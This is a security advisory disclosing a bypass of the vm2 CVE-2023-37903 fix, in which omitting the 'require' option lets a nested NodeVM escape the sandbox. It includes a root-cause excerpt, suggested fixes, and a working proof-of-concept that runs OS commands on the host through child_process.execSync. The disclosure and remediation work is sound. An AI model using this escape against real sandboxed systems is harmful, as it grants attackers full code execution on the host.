GHSA-m4wx-m65x-ghrr

vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

## Summary The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely. When `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent. ## Root Cause ```javascript // nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false ``` ## Impact Full Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can: 1. `require('vm2')` to get the vm2 library 2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }` 3. Execute arbitrary OS commands via `child_process.execSync` The inner VM is completely unconstrained by the outer sandbox configuration. ## Reproduction ```javascript const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); // prints host uid/gid — full RCE ``` ## Suggested Fix ```javascript // Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); } ``` Or move the check after the destructuring default assignment: ```javascript const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); } ```